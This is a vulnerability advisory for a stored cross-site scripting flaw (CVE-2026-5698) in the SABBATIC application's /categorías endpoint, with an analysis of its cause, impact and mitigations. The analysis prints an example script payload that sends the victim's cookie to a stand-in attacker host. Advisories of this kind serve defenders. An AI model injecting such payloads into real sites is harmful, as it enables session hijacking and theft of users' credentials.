CVE-2026-5698 in SABBATIC
Summary
by MITRE • 10/29/2026
Stored Cross-Site Scripting (XSS) vulnerability in SABBATIC application that allows an attacker to store JavaScript code so that when a user views the page, code can be executed in the victim's browser. The list of assigned parameters and identifiers is as follows: parameters 'titulo_es' and 'add_etiquetas%5B%5D' in '/categorías' endpoint;
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Analysis
by VulDB Data Team • 10/29/2026
The SABBATIC application contains a critical stored Cross-Site Scripting vulnerability within its content management interface, specifically affecting the handling of user-supplied input during category creation or modification. This flaw arises from insufficient sanitization and validation mechanisms when processing data submitted through the /categorías endpoint. The vulnerability targets two specific parameters: titulo_es, which likely represents a Spanish-language title for a category, and add_etiquetas[], an array parameter used to assign tags or labels to that category. Because this is a stored XSS flaw, malicious JavaScript payloads injected into these fields are persisted on the application server rather than being executed solely in the context of a single request. This persistence ensures that every subsequent user who views the affected page will have their browser execute the embedded script without any additional interaction from the attacker beyond the initial injection.
From a technical perspective, the root cause lies in the failure to properly encode or escape special HTML characters within the stored values before they are rendered back into the Document Object Model of the web application. When an attacker submits a payload such as <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> via either the titulo_es field or one of the elements in the add_etiquetas[] array, the server accepts and stores this input without stripping out script tags or encoding them into their corresponding HTML entities. Consequently, when an administrator or regular user navigates to a page displaying these categories, the browser interprets the stored content as executable code rather than plain text. This allows for full control over the victim's browsing session within the context of the vulnerable application domain, bypassing same-origin policy restrictions that typically limit script execution.
The operational impact of this vulnerability is severe and multifaceted. Attackers can exploit this flaw to steal sensitive user data such as session cookies, authentication tokens, or personally identifiable information by redirecting victims to malicious external sites designed to capture these credentials. Furthermore, the attacker could perform actions on behalf of the victim if they are authenticated within the SABBATIC application, potentially leading to unauthorized modifications of content, deletion of categories, or escalation of privileges depending on the victim's role. In enterprise environments, this can also serve as a vector for defacement, where attackers replace legitimate content with malicious advertisements or phishing pages, thereby damaging the organization's reputation and trustworthiness. The persistence of the payload means that remediation is not immediate; even if the initial attack vector is closed, previously injected payloads will continue to affect users until they are manually removed from the database.
This vulnerability aligns closely with CWE-79, which classifies improper neutralization of input during web page generation as a primary weakness in web applications. It also maps directly to MITRE ATT&CK technique T1059.007, specifically JavaScript execution via stored XSS, and potentially T1005 for data staging if the stolen information is exfiltrated through background requests initiated by the malicious script. To mitigate this risk, developers must implement strict input validation on both the client and server sides, ensuring that only expected character sets are accepted in title and tag fields. More importantly, output encoding must be applied consistently whenever user-supplied data is rendered into HTML contexts, using context-aware escaping techniques to neutralize special characters like <, >, &, ", and '. Additionally, implementing a Content Security Policy header can significantly reduce the impact of any successful XSS attacks by restricting the sources from which scripts are allowed to load. Regular security audits and automated static code analysis tools should be employed to detect such input handling flaws early in the development lifecycle before deployment.